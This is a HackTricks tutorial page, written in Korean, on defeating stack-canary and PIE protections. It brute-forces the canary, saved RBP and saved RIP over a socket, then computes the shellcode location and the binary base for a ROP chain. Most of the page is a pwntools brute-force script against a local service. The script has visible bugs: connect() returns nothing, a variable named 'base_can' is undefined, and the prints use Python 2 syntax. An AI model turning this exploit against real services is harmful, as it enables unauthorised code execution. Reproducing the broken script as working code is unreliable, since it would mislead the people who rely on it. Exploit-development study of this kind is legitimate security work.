BF Addresses in the Stack

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋งŒ์•ฝ ๋‹น์‹ ์ด canary์™€ PIE (Position Independent Executable)๋กœ ๋ณดํ˜ธ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์ง๋ฉดํ•ด ์žˆ๋‹ค๋ฉด, ์ด๋ฅผ ์šฐํšŒํ•  ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผ ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

Note

**checksec**๊ฐ€ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ canary๋กœ ๋ณดํ˜ธ๋˜๊ณ  ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์ฐพ์ง€ ๋ชปํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ •์ ์œผ๋กœ ์ปดํŒŒ์ผ๋˜์—ˆ๊ณ  ํ•จ์ˆ˜๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ ํ•จ์ˆ˜ ํ˜ธ์ถœ์˜ ์‹œ์ž‘ ๋ถ€๋ถ„์—์„œ ์Šคํƒ์— ๊ฐ’์ด ์ €์žฅ๋˜๊ณ  ์ด ๊ฐ’์ด ์ข…๋ฃŒ ์ „์— ํ™•์ธ๋˜๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด ์ˆ˜๋™์œผ๋กœ ์ด๋ฅผ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Brute-Force Addresses

PIE๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด๋Š” ์ฃผ์†Œ๋ฅผ ์œ ์ถœํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์ฃผ์†Œ๋ฅผ ์œ ์ถœํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์€ ์ทจ์•ฝํ•œ ํ•จ์ˆ˜์—์„œ ์Šคํƒ์— ์ €์žฅ๋œ RBP์™€ RIP๋ฅผ ๋ธŒ๋ฃจํŠธํฌ์Šคํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
์˜ˆ๋ฅผ ๋“ค์–ด, ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ canary์™€ PIE๋กœ ๋ณดํ˜ธ๋˜๊ณ  ์žˆ๋‹ค๋ฉด, canary๋ฅผ ๋ธŒ๋ฃจํŠธํฌ์Šคํ•œ ํ›„ ๋‹ค์Œ 8 ๋ฐ”์ดํŠธ(x64)๋Š” ์ €์žฅ๋œ RBP๊ฐ€ ๋˜๊ณ , ๋‹ค์Œ 8 ๋ฐ”์ดํŠธ๋Š” ์ €์žฅ๋œ RIP๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

Tip

์Šคํƒ ๋‚ด์˜ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋Š” ์ฃผ ๋ฐ”์ด๋„ˆ๋ฆฌ ์ฝ”๋“œ์— ์†ํ•œ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ๋‹ˆ๋‹ค. ์ทจ์•ฝ์ ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ ์ฝ”๋“œ์— ์œ„์น˜ํ•ด ์žˆ๋‹ค๋ฉด, ์ผ๋ฐ˜์ ์œผ๋กœ ์ด ๊ฒฝ์šฐ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ RBP์™€ RIP๋ฅผ ๋ธŒ๋ฃจํŠธํฌ์Šคํ•˜๊ธฐ ์œ„ํ•ด, ํ”„๋กœ๊ทธ๋žจ์ด ๋ฌด์–ธ๊ฐ€๋ฅผ ์ถœ๋ ฅํ•˜๊ฑฐ๋‚˜ ๋‹จ์ˆœํžˆ ์ถฉ๋Œํ•˜์ง€ ์•Š์œผ๋ฉด ์œ ํšจํ•œ ์ถ”์ธก ๋ฐ”์ดํŠธ๊ฐ€ ๋งž๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. canary๋ฅผ ๋ธŒ๋ฃจํŠธํฌ์Šคํ•˜๊ธฐ ์œ„ํ•ด ์ œ๊ณต๋œ ๋™์ผํ•œ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ RBP์™€ RIP๋ฅผ ๋ธŒ๋ฃจํŠธํฌ์Šคํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

PIE๋ฅผ ๋ฌด๋„ˆ๋œจ๋ฆฌ๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•œ ๋งˆ์ง€๋ง‰ ๊ฒƒ์€ ์œ ์ถœ๋œ ์ฃผ์†Œ์—์„œ ์œ ์šฉํ•œ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค: RBP์™€ RIP์ž…๋‹ˆ๋‹ค.

RBP๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์Šคํƒ์— ์…ธ์„ ์–ด๋””์— ์“ฐ๊ณ  ์žˆ๋Š”์ง€ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์Šคํƒ ๋‚ด์—์„œ ๋ฌธ์ž์—ด _โ€œ/bin/sh\x00โ€_์„ ์“ธ ์œ„์น˜๋ฅผ ์•„๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์œ ์ถœ๋œ RBP์™€ ์…ธ์ฝ”๋“œ ๊ฐ„์˜ ๊ฑฐ๋ฆฌ๋ฅผ ๊ณ„์‚ฐํ•˜๋ ค๋ฉด RBP๋ฅผ ์œ ์ถœํ•œ ํ›„์— ๋ธŒ๋ ˆ์ดํฌํฌ์ธํŠธ๋ฅผ ์„ค์ •ํ•˜๊ณ  ์…ธ์ฝ”๋“œ๊ฐ€ ์–ด๋””์— ์œ„์น˜ํ•˜๋Š”์ง€ ํ™•์ธํ•œ ๋‹ค์Œ, ์…ธ์ฝ”๋“œ์™€ RBP ๊ฐ„์˜ ๊ฑฐ๋ฆฌ๋ฅผ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

INI_SHELLCODE = RBP - 1152

RIP์—์„œ PIE ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ๊ธฐ๋ณธ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์œ ํšจํ•œ ROP ์ฒด์ธ์„ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
๊ธฐ๋ณธ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•˜๋ ค๋ฉด objdump -d vunbinary๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ์ตœ์‹  ์ฃผ์†Œ๋ฅผ ๋ถ„ํ•ดํ•˜์—ฌ ํ™•์ธํ•˜์„ธ์š”:

์ด ์˜ˆ์ œ์—์„œ๋Š” ๋ชจ๋“  ์ฝ”๋“œ๋ฅผ ์ฐพ๋Š” ๋ฐ 1๋ฐ”์ดํŠธ ๋ฐ˜๋งŒ ํ•„์š”ํ•˜๋‹ค๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด ์ƒํ™ฉ์—์„œ ๊ธฐ๋ณธ ์ฃผ์†Œ๋Š” ์œ ์ถœ๋œ RIP์— โ€œ000โ€œ์œผ๋กœ ๋๋‚˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, 0x562002970ecf๊ฐ€ ์œ ์ถœ๋˜์—ˆ๋‹ค๋ฉด ๊ธฐ๋ณธ ์ฃผ์†Œ๋Š” 0x562002970000์ž…๋‹ˆ๋‹ค.

elf.address = RIP - (RIP & 0xfff)

๊ฐœ์„  ์‚ฌํ•ญ

์ด ๊ฒŒ์‹œ๋ฌผ์˜ ์ผ๋ถ€ ๊ด€์ฐฐ์— ๋”ฐ๋ฅด๋ฉด, RBP ๋ฐ RIP ๊ฐ’์„ ๋ˆ„์ถœํ•  ๋•Œ, ์„œ๋ฒ„๊ฐ€ ์˜ฌ๋ฐ”๋ฅด์ง€ ์•Š์€ ์ผ๋ถ€ ๊ฐ’์œผ๋กœ ์ถฉ๋Œํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ BF ์Šคํฌ๋ฆฝํŠธ๋Š” ์˜ฌ๋ฐ”๋ฅธ ๊ฐ’์„ ์–ป์—ˆ๋‹ค๊ณ  ์ƒ๊ฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ผ๋ถ€ ์ฃผ์†Œ๋Š” ์ •ํ™•ํ•œ ๊ฐ’์ด ์•„๋‹ˆ๋”๋ผ๋„ ์ถฉ๋Œํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

ํ•ด๋‹น ๋ธ”๋กœ๊ทธ ๊ฒŒ์‹œ๋ฌผ์— ๋”ฐ๋ฅด๋ฉด ์„œ๋ฒ„์— ๋Œ€ํ•œ ์š”์ฒญ ์‚ฌ์ด์— ์งง์€ ์ง€์—ฐ์„ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค.

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ